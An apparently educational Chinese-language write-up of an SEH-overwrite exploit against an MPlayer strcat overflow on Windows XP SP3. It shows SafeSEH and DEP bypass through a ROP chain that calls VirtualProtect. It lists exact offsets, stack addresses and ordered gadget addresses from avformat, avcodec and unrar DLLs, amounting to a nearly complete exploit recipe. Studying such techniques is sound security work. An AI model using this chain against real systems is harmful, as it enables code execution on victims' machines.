一、前言
1.1 DEP介紹
數據執行保護 (DEP) 是一套軟硬件技術,能夠在內存上執行額外檢查以防止在不可運行的內存區域上執行代碼。 在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、 Microsoft Windows XP Tablet PC Edition 2005 、 Microsoft Windows Vista 和 windows 7 中,由硬件和軟件一起強制實施 DEP。DEP 有兩種模式,如果CPU 支 持內存頁NX 屬性, 就是硬件支持的DEP。只有當處理器/系統支持NX/XD位(禁止執行)時,windows才能擁有硬件DEP,否則只能支持軟件 DEP,相當於只有SafeSEH保護。(摘抄自泉哥的文章)
1.2 DEP繞過方法
網上的資料可以知道繞過DEP方法五花八門:ret2lib、關閉進程DEP、WPM(有的方法執行shellcode,本文不考慮),
但是本質上這些方法應該說都是基於ROP技術的,因為不能執行棧中的指令,只能使用ROP技術。
DEP繞過方法可以說就是使用ROP技術,調用系統的API,來使shellcode的以執行,可以有如下幾種思路:
- 關閉進程DEP
- 將shellcode的存儲位置設置為可執行
- 將shellcode寫入可執行的位置
1.3 ROP技術
ROP技術前提:
- 小部件(gadget):內存中一個個以ret為結尾的指令序列(非常形象),我們像撿破爛一樣收集它們。
- ret指令:ret指令實際上相當於pop EIP,也就是將EIP設置為棧頂(esp指向)的值,也就是跳轉到棧頂的值所指向的地址。
ROP,Retrun-oriented Programmming(面向返回的編程),技術原理:
將一個個小部件在棧上進行有序的排列,每個小部件末尾的ret指令會使這些小部件依次得到執行。
1.4 實驗環境及工具
實驗環境:
windows xp sp3
工具:
- immunity debuger
- mona插件
- Process Explorer
二、MPlayer漏洞介紹及Exploit分析
2.1 漏洞介紹
在調用msvcrt.dll的strcat時發生溢出,會覆蓋掉返回地址以及SEH。
這個漏洞曾經被用作比賽題,要求利用SEH進行漏洞利用,同時開啟DEP保護,
本文主要是演示ROP技術繞過DEP,同時會按照要求通過覆蓋SEH控制EIP。
2.2 Exploit分析
使用Process Explorer查看MPlayer,已經開啟了DEP
圖1
使用safeseh插件查看,發現msvcrt.dll開啟了safeSEH。
因此要漏洞利用,首先需要繞過safeSEH控制EIP,再通過ROP技術破除DEP保護,最終執行shellcode。
使用pattern_offset構造m3u文件,對程序進行調試分析,得到以下信息:
- 覆蓋到seh結構時,偏移為5115
- 被覆蓋的緩沖區首地址為 0x22EBE4
- 執行Sehandler時,esp的值為0x22e578
內存布局及payload結構
圖2
payload執行流程:
- 觸發異常,執行seh handler指向的地址,需要繞過safeSEH
- 將esp指向rop鏈起始,然后ret
- 執行rop鏈,關閉dep,跳轉到shellcode
- 執行shellcode
其中有兩個關鍵點
- 繞過safeSEH
- 構造ROP鏈,關閉DEP
三、如何快速尋找小部件
這里先介紹一下如何查找小部件,因為從繞過safeSEH開始,就需要用到小部件了。
這里需要用到Immunity Debugger的插件mona.py,出自Corelan Team。
mona可以幫我們在內存中尋找各種小部件,並存儲到rop.txt文件中,當我們需要尋找某種小部件時,可以使用正則表達式進行快速搜索。
rop.txt文件中的信息主要包括:
- 模塊信息,是否開啟safeSEH、ASLR,是否是系統模塊,地址信息
- 小部件(gadgets),各種以RETN為結尾的小部件,以及地址是否包含NULL以及ASCII等。
圖3
四、繞過safeSEH保護
繞過方法
利用沒有啟用SafeSEH的模塊,不詳細說明。
SE Handler的功能
- 將ESP的指向ROP鏈
- 利用一個ret指令,開始ROP鏈的執行
尋找合適的指令片段
在執行SE Handler時,ESP在可控緩沖區范圍之外(小於最小地址),因此需要增加ESP到可控范圍內,之后ret即可。
- 增加的最小值:0x22EBE4 - 22E578 = 0X66C
- 空間總長 5115=0x13FB
因此需要找到一條ADD ESP,OFFSET,RET小部件,其中OFFSET>66C,同時也不能太長,需要留出ROP鏈和shellcode的空間。
在rop.txt中找到如下小部件,給ESP增加0x940:
0x64988c54 : # ADD ESP,940 # POP EBX # POP ESI # POP EDI # RETN [avformat-52.dll]
ROP鏈的存儲位置
參考圖2,也就是計算junka的長度:
Junka_len = (0x22e578+0x940+3x4) - 0x22ebe5
注意這里多加的3x4,因為上面的小部件中有3個多余的POP。
五、ROP構造
已經繞過safeSEH保護,將ESP指向了ROP鏈,后面的工作只要使用ROP技術繞過DEP,再轉到shellcode即可。
本文選擇使用VirtualProtect,原型如下
BOOL WINAPI VirtualProtect(
in LPVOID lpAddress, in SIZE_T dwSize,
in DWORD flNewProtect, out PDWORD lpflOldProtect
);
ROP結構如圖4,
圖4
ROP中的兩個值可以硬編碼:
- VirtualProtect函數的地址,XP SP3中為0x7c801ad4
- VirtualProtect的第四個參數,需要是一個可寫的地址,可以從內存隨意找一個
六、ROP構造過程
1、保存esp
1.1 暫存esp
將esp的值保存到EBX中,EBX並不是一個好的寄存器,但是無奈就找到這么一條符合條件的,不過后面我會在將EBX的值復制到其他寄存器。
0x649abc7b : # PUSH ESP # POP EBX # POP ESI # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
1.2 跳過API地址和參數
API地址加上參數一共是0x18個字節,找到如下小部件:
0x64980685 : # ADD ESP,1C # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
2、復制ESP
上面提到EBX不是一個好的寄存器,因此在這里將EBX的值復制到EAX和EDX中。
0x6b0402a9 : # MOV EAX,EBX # POP EBX # RETN [avcodec-52.dll]
0x649cda36: # MOV EDX,EAX # MOV EAX,EDX # RETN [avformat-52.dll]
EAX是一個非常常用的指令,我們可以用它來構造參數。
3、構造指向參數的指針
因為需要向API地址之后的ret address和參數1-4中填入有效的值,因此我們需要一個這項這里的指針,找到如下小部件
0x6b0badb4 : # INC EDX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
經過第二步之后,EDX指向ROP鏈的起點,連續若干條該指令可以讓EDX指向ret address的位置。
4、構造ret address和參數1
VirtualProtect執行后,我們需要跳轉到shellcode,因此ret address會是shellcode的存儲地址。VirtualProtect的第一個參數是緩沖區地址,我們需要將shellcode的存儲位置設置為可執行狀態,因此參數1也會是shellcode的存儲地址,這兩個值我們只需要構造一次即可。
EDX已經用於指向ret address,我們需要使用EAX構造該值,找到如下小部件:
0x6ad5c728 : # ADD EAX,69 # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
執行該小部件四次后,EAX的值便可一個作為shellcode的起始地址,這樣,ROP鏈的起始地址和shellcode的起始地址的距離會是0x69 * 4
。
5、將生成的參數寫入對應位置
生成參數后我們需要將其寫入到對應的位置,使用如下小部件:
0x6ae88656 : # MOV DWORD PTR DS:[EDX],EAX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
每次寫完之后,都需要將EDX的值增加4,反復使用第三步的小部件即可。
0x6b0badb4 : # INC EDX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
6、構造參數2和3
參數2為緩沖區長度,使用一下兩個小部件,add EAX,69執行三次基本就夠用了,可以根據shellcode長度調整:
0x649a3d6c : # XOR EAX,EAX # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
0x6ad5c728 : # ADD EAX,69 # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
參數3為新的保護類型,需要設置為0x40,使用一下兩個小部件,add EAX,8執行8次:
0x649a3d6c : # XOR EAX,EAX # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
0x1001d17f : # ADD EAX,8 # RETN [unrar.dll] | {PAGE_EXECUTE_READ}
參數2和3都是需要使用第四步的方法寫入對應位置。
7、處理參數4
參數4用於接收舊的保護類型,只需要是一個可寫的地址即可,提前找到一個地址,寫死在對應的位置即可,不用進行處理。
本文使用地址:0x10028024。
8、返回到API執行
最后,構造完所有參數,需要將ESP指向VirtualProtect地址的存儲位置,在使用一個ret指令執行VirtualProtect,可以使用以下幾個小部件:
0x649c4733 : # DEC EDX # RETN [avformat-52.dll] 執行12次
0x649cda38: # MOV EAX,EDX # RETN [avformat-52.dll]
0x6b051e12 : # PUSH EAX # POP ESI # POP EBX # RETN [avcodec-52.dll] | ascii
0x6b0689d7 : # MOV ESP,ESI # POP EDI # POP ESI # POP EBX # RETN [avcodec-52.dll]
七、總結
第一次寫動手構造ROP鏈,構造思想主要取自於Corelan Team的文章。,對比exloit-db上公開的POC,發現自己構造的ROP鏈非常繁瑣冗長,exploit-db上的方法使用了PUSHAD,事先知道這個方法,但是沒想到怎么用,而且其中也還有其他的一些技巧也是自己沒有想到的,還需要多多學習。本文設計到的MPlayer以及exploit源碼下載,百度網盤